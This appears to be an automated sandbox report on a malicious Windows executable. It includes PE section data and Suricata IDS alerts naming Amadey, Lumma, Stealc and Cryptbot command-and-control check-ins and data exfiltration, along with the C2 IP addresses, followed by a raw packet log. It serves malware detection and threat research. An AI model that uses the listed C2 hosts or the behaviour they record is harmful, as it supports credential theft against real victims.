	0x6b000	0x299000	0x200	e356f9f377f007c8e580f29c28a0bad6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ewxlggpv	0x304000	0x196000	0x195600	f11dd0576c541d1d22d4bc383cb8aaae	False	0.9944098346438482	data	7.952900488782757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
agnuswsr	0x49a000	0x1000	0x400	91bcdaa62f36129654a9d8ff9b75c4ae	False	0.8212890625	data	6.190092499085666	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49b000	0x3000	0x2200	ce52b061da6b0b14bfe45e5a64904a5d	False	0.07261029411764706	DOS executable (COM)	0.8238879837537914	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T10:24:07.122605+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49801	185.215.113.43	80	TCP
2024-11-24T10:24:11.893518+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49813	31.41.244.11	80	TCP
2024-11-24T10:24:21.757258+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49807	TCP
2024-11-24T10:24:23.188743+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49839	185.215.113.43	80	TCP
2024-11-24T10:24:24.785947+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49845	185.215.113.16	80	TCP
2024-11-24T10:24:37.479928+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49872	104.21.33.116	443	TCP
2024-11-24T10:24:37.646627+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49873	185.215.113.43	80	TCP
2024-11-24T10:24:38.301268+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49872	104.21.33.116	443	TCP
2024-11-24T10:24:38.301268+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49872	104.21.33.116	443	TCP
2024-11-24T10:24:39.167202+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49879	185.215.113.16	80	TCP
2024-11-24T10:24:39.462731+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49880	104.21.33.116	443	TCP
2024-11-24T10:24:46.205046+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49896	185.215.113.43	80	TCP
2024-11-24T10:24:47.729776+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49897	185.215.113.16	80	TCP
2024-11-24T10:24:48.152403+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49898	185.215.113.206	80	TCP
2024-11-24T10:24:48.595477+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49898	185.215.113.206	80	TCP
2024-11-24T10:24:48.717598+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49898	TCP
2024-11-24T10:24:49.036959+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49898	185.215.113.206	80	TCP
2024-11-24T10:24:49.166681+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49898	TCP
2024-11-24T10:24:49.914092+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	49904	34.116.198.130	80	TCP
2024-11-24T10:24:51.259344+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49898	185.215.113.206	80	TCP
2024-11-24T10:24:51.931010+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	49915	34.116.198.130	80	TCP
2024-11-24T10:24:52.051125+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49898	185.215.113.206	80	TCP
2024-11-24T10:24:53.303330+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49916	104.21.33.116	443	TCP
2024-11-24T10:24:54.014871+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49916	104.21.33.116	443	TCP
2024-11-24T10:24:54.014871+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49916	104.21.33.116	443	TCP
2024-11-24T10:24:54.286992+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49917	185.215.113.43	80	TCP
2024-11-24T10:24:55.405525+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49923	104.21.33.116	443	TCP
2024-11-24T10:24:55.837070+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49924	185.215.113.16	80	TCP
2024-11-24T10:24:56.793267+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49923	104.21.33.116	443	TCP
2024-11-24T10:24:56.793267+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49923	104.21.33.116	443	TCP
2024-11-24T10:25:00.518490+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49951	104.21.33.116	443	TCP
2024-11-24T10:25:05.677730+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49975	185.215.113.43	80	TCP
2024-11-24T10:25:06.037444+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49978	104.21.33.116	443	TCP
2024-11-24T10:25:06.927386+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49978	104.21.33.116	443	TCP
2024-11-24T10:25:11.992863+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50010	104.21.33.116	443	TCP
2024-11-24T10:25:17.426839+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:18.888979+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50064	104.21.33.116	443	TCP
2024-11-24T10:25:19.755209+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:20.988541+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:22.357313+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:22.964214+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50085	104.21.33.116	443	TCP
2024-11-24T10:25:22.976076+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50085	104.21.33.116	443	TCP
2024-11-24T10:25:24.046942+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50086	34.116.198.130	80	TCP
2024-11-24T10:25:26.146124+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:27.989261+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:30.092872+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50120	104.21.33.116	443	TCP
2024-11-24T10:25:30.812202+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50120	104.21.33.116	443	TCP
2024-11-24T10:25:30.812202+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50120	104.21.33.116	443	TCP
2024-11-24T10:25:31.161165+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50129	104.21.33.116	443	TCP
2024-11-24T10:25:31.862697+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50129	104.21.33.116	443	TCP
2024-11-24T10:25:32.630233+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50138	104.21.33.116	443	TCP
2024-11-24T10:25:33.347952+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50138	104.21.33.116	443	TCP
2024-11-24T10:25:33.347952+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50138	104.21.33.116	443	TCP
2024-11-24T10:25:33.348183+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50141	185.215.113.16	80	TCP
2024-11-24T10:25:34.887380+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50143	104.21.33.116	443	TCP
2024-11-24T10:25:35.632480+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50144	185.215.113.16	80	TCP
2024-11-24T10:25:37.201827+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50147	104.21.33.116	443	TCP
2024-11-24T10:25:39.643955+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50152	104.21.33.116	443	TCP
2024-11-24T10:25:41.998751+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50156	104.21.33.116	443	TCP
2024-11-24T10:25:42.714671+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50156	104.21.33.116	443	TCP
2024-11-24T10:25:44.644797+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50160	104.21.33.116	443	TCP
2024-11-24T10:25:45.535039+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50160	104.21.33.116	443	TCP
2024-11-24T10:25:46.783266+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50164	104.21.33.116	443	TCP
2024-11-24T10:25:47.484316+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50164	104.21.33.116	443	TCP
2024-11-24T10:25:47.498752+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50163	185.215.113.206	80	TCP
2024-11-24T10:25:49.080071+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50166	185.215.113.16	80	TCP
2024-11-24T10:25:59.627712+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50177	185.215.113.206	80	TCP
2024-11-24T10:26:29.597156+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50234	20.42.73.29	443	TCP
2024-11-24T10:27:54.176410+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50278	20.42.73.24	443	TCP
2024-11-24T10:29:11.814957+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50305	185.215.113.43	80	TCP
2024-11-24T10:29:18.818454+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50306	TCP
2024-11-24T10:29:20.252773+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50312	185.215.113.43	80	TCP
2024-11-24T10:29:49.873136+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50322	20.189.173.20	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 10:23:03.978286982 CET	49675	443	192.168.2.5	23.1.237.91
Nov 24, 2024 10:23:03.978288889 CET	49674	443	192.168.2.5	23.1.237.91
Nov 24, 2024 10:23:04.087646008 CET	49673	443	192.168.2.5	23.1.237.91
Nov 24, 2024 10:23:13.728416920 CET	49674	443	192.168.2.5	23.1.237.91
Nov 24, 2024 10:23:13.728421926 CET	49675	443	192.168.2.5	23.1.237.91
Nov 24, 2024 10:23:13.728477001 CET	49673	443	192.168.2.5	23.1.237.91
Nov 24, 2024 10:23:16.180425882 CET	443	49703	23.1.237.91	192.168.2.5
Nov 24, 2024 10:23:16.180726051 CET	49703	443	192.168.2.5	23.1.237.91
Nov 24, 2024 10:23:22.537326097 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:22.537342072 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:22.537406921 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:22.539624929 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:22.539634943 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:22.874135017 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:22.874150991 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:22.874244928 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:22.874623060 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:22.874639988 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:24.258416891 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:24.258563042 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:24.262341022 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:24.262346983 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:24.262551069 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:24.308382988 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:24.609189034 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:24.609260082 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:24.675990105 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:24.675998926 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:24.676245928 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:24.708565950 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:24.755338907 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.097239971 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.097305059 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.097351074 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.097371101 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.097385883 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.097393990 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.097434044 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.097459078 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.271433115 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.271486044 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.271572113 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.271578074 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.271639109 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.316709042 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.316754103 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.316773891 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.316781044 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.316895008 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.316895008 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.444681883 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.444698095 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.444847107 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.444853067 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.444967031 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.481729984 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.481744051 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.481846094 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.481852055 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.481919050 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.498013973 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.498059034 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.498150110 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.498155117 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.498191118 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.498207092 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.517507076 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.517550945 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.517589092 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.517592907 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.517662048 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.649609089 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.649677038 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.649687052 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.649703979 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.649888039 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.664990902 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.665054083 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.665144920 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.665150881 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.665218115 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.680356979 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.680401087 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.680444956 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.680449963 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.680488110 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.680521965 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.695864916 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.695910931 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.695960999 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.695969105 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.696000099 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.696027040 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.709094048 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.709233046 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.709294081 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.711402893 CET	49705	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.711412907 CET	443	49705	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.752846956 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.752862930 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.752935886 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.754497051 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.754508018 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.757081032 CET	49708	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.757123947 CET	443	49708	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.757184982 CET	49708	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.757318974 CET	49708	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.757328033 CET	443	49708	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.759216070 CET	49709	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.759249926 CET	443	49709	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.759310961 CET	49709	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.759834051 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.759843111 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.759896994 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.761006117 CET	49709	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.761029959 CET	443	49709	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.761428118 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.761437893 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.764254093 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.764266014 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.764354944 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.764455080 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:25.764468908 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:25.960618019 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:26.007328033 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:26.527154922 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:26.527180910 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:26.527188063 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:26.527196884 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:26.527240038 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:26.527292967 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:26.527306080 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:26.527328968 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:26.527343988 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:26.545135975 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:26.545203924 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:26.545211077 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:26.545258045 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:27.489435911 CET	443	49708	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.490515947 CET	49708	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.490531921 CET	443	49708	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.493386984 CET	49708	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.493395090 CET	443	49708	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.545568943 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.546211004 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.546227932 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.546778917 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.546783924 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.624968052 CET	443	49709	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.625936985 CET	49709	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.625957012 CET	443	49709	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.627433062 CET	49709	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.627438068 CET	443	49709	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.647185087 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.647768021 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.647775888 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.648269892 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.648273945 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.648560047 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.648914099 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.648948908 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.649308920 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.649312973 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.832762003 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:27.832775116 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:27.832787037 CET	49704	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:23:27.832792997 CET	443	49704	20.109.210.53	192.168.2.5
Nov 24, 2024 10:23:27.923681974 CET	443	49708	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.923849106 CET	443	49708	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.923901081 CET	49708	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.924129963 CET	49708	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.924149036 CET	443	49708	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.924159050 CET	49708	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.924164057 CET	443	49708	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.927025080 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.927050114 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.927119970 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.927397013 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.927408934 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.998624086 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.998637915 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.998687983 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.998697996 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.999054909 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.999064922 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.999073982 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:27.999166965 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.999191999 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:27.999275923 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.002300024 CET	49715	443	192.168.2.5	13.107.246.63
